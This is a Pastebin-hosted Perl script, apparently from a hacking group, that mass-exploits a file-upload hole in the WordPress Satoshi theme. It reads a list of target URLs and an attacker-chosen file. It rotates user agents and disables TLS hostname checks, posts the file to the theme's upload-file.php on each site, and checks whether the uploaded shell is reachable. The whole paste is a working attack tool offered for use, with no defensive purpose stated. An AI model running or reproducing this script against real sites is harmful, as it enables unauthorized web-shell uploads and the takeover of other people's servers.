Advertisement
Jemb0t_IR3eng

WP Satoshi Theme File Upload Exploiter

Apr 17th, 2019
866
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. # Coded By M-A
  4. # Greet's : My Brother Boy & MMxM & Rab3oun & All Sec4ever Menber
  5. # Perl Lov3r :)
  6. my $qqvul ="/upload-file.php";#theme path vul
  7. my $datestring = localtime();
  8. ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
  9.  
  10. sub randomagent {
  11. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  12. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  13. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  14. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  15. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  16. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  17. );
  18. my $random = $array[rand @array];
  19. return($random);
  20. }
  21. flag();
  22. print "[+] Enter List Of Target : ";
  23. chomp (my $list=<>);
  24. print "[+] Enter Evil File : ";
  25. chomp (my $file=<>);
  26. print "[+] Started : $datestring\n";
  27. open(my $arq,'<'.$list) || die($!);
  28. my @site = <$arq>;
  29. @site = grep { !/^$/ } @site;
  30. close($arq);
  31. print "[".($#site+1)."] URL to test upload\n\n";
  32. my $i;
  33. foreach my $web(@site){$i++;
  34. chomp($web);
  35. if($web !~ /^(http|https):\/\//){
  36. $web = 'http://'.$web;
  37. }
  38. print "[$i] $web \n";
  39. expqq($web);#exploiting website :)
  40. }
  41. sub expqq{
  42. my $useragent = randomagent();#Get a Random User Agent
  43. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });#Https websites accept
  44. $ua->timeout(10);
  45. $ua->agent($useragent);
  46. print "[Testing] Exploit Existence \n";
  47. my $url = $_[0]."/wp-content/themes/satoshi/".$qqvul;
  48. my $ss = $_[0]."/wp-content/themes/satoshi/images/".$file;
  49. my $response = $ua->get($url);
  50. if ($response->is_success || $response->content=~/error/){
  51. print "[OK] Exploit Exists\n";
  52. print "[*] Sent payload\n";
  53. my $regex = 'success';
  54. my $body = $ua->post( $url,
  55. Content_Type => 'form-data',
  56. Content => [ 'uploadfile' => ["$file"] ]
  57. );
  58. if ($body->is_success ||$body->content=~ /$regex/){
  59. print "[+] Payload successfully executed\n";
  60. print "[*] Checking if shell was uploaded\n\n";
  61. my $res = $ua->get($ss);
  62. if ($res->is_success){
  63. print "[Upload] $_[0]/wp-content/satoshi/images/$file\n";
  64. }
  65. else {
  66. print "[Faild] check file\n";
  67. }
  68. }
  69. else {print "[-] Payload failed : Not vulnerable\n";
  70. }
  71. }
  72. else {
  73. print "[No] Exploit Not Found\n";
  74. }
  75. }
  76. sub flag {print "\n[+] WP Satoshi Theme File Upload Exploiter \n[*] Coder => M-A\n(c) Sec4ever\n\n";
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement